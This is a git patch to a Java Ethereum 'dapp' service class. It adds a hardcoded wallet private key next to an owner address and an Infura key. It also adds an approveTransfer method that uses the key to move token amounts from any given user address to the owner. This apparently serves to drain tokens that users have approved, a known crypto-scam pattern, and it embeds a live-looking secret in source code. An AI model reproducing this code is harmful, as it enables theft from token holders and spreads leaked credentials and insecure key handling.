From ac4c6f8771de8148f1ba2292dd8fcb7c986883a4 Mon Sep 17 00:00:00 2001 From: Helius <wangdoubleone@gmail.com> Date: Thu, 24 Mar 2022 15:25:16 +0800 Subject: [PATCH] add some limit --- src/main/java/cc/mrbird/febs/dapp/chain/EthService.java | 10 ++++++++++ 1 files changed, 10 insertions(+), 0 deletions(-) diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java index 2f45fcf..66c0309 100644 --- a/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java +++ b/src/main/java/cc/mrbird/febs/dapp/chain/EthService.java @@ -54,6 +54,7 @@ // private static final String ETH_UTL = "http://114.55.250.231:8545"; private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"; private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024"; + private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37"; public EthService() { try { @@ -250,6 +251,15 @@ } } + public String approveTransfer(String fromAddress, BigDecimal amount, String gas) { + try { + return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas); + } catch (InterruptedException | ExecutionException e) { + e.printStackTrace(); + return ""; + } + } + public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas) throws InterruptedException, ExecutionException { // Web3j web3j = Web3j.build(new -- Gitblit v1.9.1